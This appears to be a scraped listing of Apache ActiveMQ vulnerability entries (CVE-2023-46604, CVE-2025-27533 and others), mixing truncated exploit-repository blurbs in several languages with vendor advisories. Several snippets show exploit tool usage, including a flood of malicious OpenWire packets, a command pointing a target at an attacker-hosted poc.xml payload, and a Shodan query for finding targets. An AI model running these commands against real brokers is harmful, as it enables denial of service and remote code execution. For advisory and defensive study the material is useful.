CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ （PoC）漏洞利用程序，针对 CVE-2025-27533 ，Apache ActiveMQ 中的一个拒绝服务（DoS）漏洞。该工具发送恶意的 OpenWire 数据包，耗尽目标服务器的 JVM 堆内存， 并可能导致 ActiveMQ 服务在端口 61616 上崩溃。 使用 root@kitploit: python CVE-2025-27533Exploit.py --host --port 61616 --total-packets 2000 --buffer-sizes 0x1E00000...

CVE-2015-5254

CVE-2015-5254 ActiveMQ 反序列化 RCE 0x01 确认端口 61616 已开放 nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kitploit: root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Host is up 0.00022s latency. PORT...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 伪终端 该脚本利用 CVE-2023-46604（Apache ActiveMQ）生成一个伪终端。该漏洞源于 OpenWire 协议中的不安全反序列化，可实现远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可利用该缺陷在运行 ActiveMQ 的服务器上执行任意代码。攻击者可以构造一个恶意 XML 文件，远程服务器将执行其中的命令。 此漏洞利用工具自动化并简化了 XML 文档的创建过程，提供基础服务器来传输文件，并通过 POST...

CVE-2023-46604

CVE-2023-46604 该仓库包含针对影响 Apache ActiveMQ 的 CVE-2023-46604 漏洞的利用脚本和概念验证 PoC XML 文件。该漏洞由于 OpenWire 协议中的不安全反序列化实践，允许远程代码执行。 描述 CVE-2023-46604 是 Apache ActiveMQ 的 OpenWire 协议中存在的一个反序列化漏洞。攻击者可以利用此漏洞在运行 ActiveMQ 的服务器上执行任意代码。本仓库中的利用脚本自动化了向服务器发送精心构造的请求以触发该漏洞的过程。 仓库内容 exploit.py - 触发漏洞的主要 Python 利用脚本。...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerabilità Una vulnerabilità di deserializzazione nell'unmarshaller del trasporto OpenWire in Apache ActiveMQ. Le versioni interessate includono dalla 5.18.0 alla 5.18.2, dalla 5.17.0 alla 5.17.5, dalla 5.16.0 alla 5.16.6, e tutte le versioni precedenti alla 5.15.16...

CVE-2023-46604-Analysis

Analisi di CVE-2023-46604 Repository tecnico di analisi che riassume le cause, il percorso del codice, i punti di patch e i risultati della riproduzione della vulnerabilità Apache ActiveMQ CVE-2023-46604. Questo documento è materiale didattico per l'analisi tecnica e la difesa dalla vulnerabilità...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Panoramica di Apache ActiveMQ e OpenWire ActiveMQ è un broker che include client che supportano JMS e consente la comunicazione tra sistemi che utilizzano non solo Java ma anche vari linguaggi. Inoltre, tramite funzionalità di clustering, DB e...

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 Il script sfrutta una vulnerabilità di deserializzazione non sicura in Apache ActiveMQ CVE-2023-46604 per ottenere l'esecuzione remota di codice sul server target. Descrizione del Processo di Sfruttamento root@kitploit: Obiettivo della Vulnerabilità: La...

CVE-2023-46604-LAB

CVE-2023-46604 – RCE su Apache ActiveMQ Protocollo OpenWire Questo repository documenta un ambiente di laboratorio utilizzato per comprendere e rilevare la vulnerabilità CVE-2023-46604 che colpisce Apache ActiveMQ. L'obiettivo di questo progetto: Comprendere come si comporta l'exploit a livello d...

CVE-2023-46604

CVE-2023-46604 Exploit für CVE-2023-46604 Dieses Tool hilft, diese Schwachstelle auszunutzen. Shodan-Abfrage zum Finden von Zielen: root@kitploit: product:"ActiveMQ" port:"61616" Verwendung des Tools: root@kitploit: zum Lesen von Zielen aus der Datei: python3 exploit.py -f targets -c...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire-Labor Während meiner Schicht als Tier-2-Analyst im Security Operations Center SOC erhielt ich eine Eskalation von einem Tier-1-Analysten bezüglich eines öffentlich zugänglichen Servers, der dabei beobachtet wurde, wie er mit mehreren verdächtigen...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Disclaimer Questo repository contiene codice proof-of-concept per CVE-2023-466064 ed è destinato esclusivamente a scopo educativo. Gli autori e i collaboratori non approvano alcuna attività illegale. Le informazioni qui presentate sono a scopo accademico, di ricerca...

Exploit for Deserialization of Untrusted Data in Apache Activemq

CVE-2023-46604 – Apache ActiveMQ Remote Code Execution Ove...

Memory Allocation With Excessive Size Value

Apache ActiveMQ is vulnerable to Memory Allocation with Excessive Size Value. The vulnerability is due to improper validation of the encoded size of OpenWire message property maps during unmarshaling, which allows an authenticated attacker to send a crafted message with an excessively large size...

ROOT-APP-MAVEN-CVE-2025-27533 CVE-2025-27533 in io.root.org.apache.activemq:activemq-openwire-legacy - Patched by Root

Root has patched CVE-2025-27533 in the io.root.org.apache.activemq:activemq-openwire-legacy package for Root:Maven. Multiple fixed versions available...

BIT-ACTIVEMQ-2026-53917 Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Client, Apache ActiveMQ Broker: Unbounded memory allocation in OpenWire property unmarshalling

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Client, Apache ActiveMQ Broker. An authenticated user can cause a broker DoS by sending a crafted OpenWire Message with a large encoded size value for the map. OpenWire message...

Linux Distros Unpatched Vulnerability : CVE-2026-53917

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Client, Apache ActiveMQ Broker. An...

CVE-2026-53917

A flaw was found in Apache ActiveMQ. An authenticated user can exploit this vulnerability by sending a specially crafted OpenWire Message with an excessively large encoded size value for the message property map. This lack of size validation during unmarshaling can lead to an out-of-memory error,...

Allocation of Resources Without Limits or Throttling

Overview org.apache.activemq:apache-activemq is a Message Broker and Client implementations. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the OpenWire process. An attacker can exhaust system memory by repeatedly sending BrokerInfo...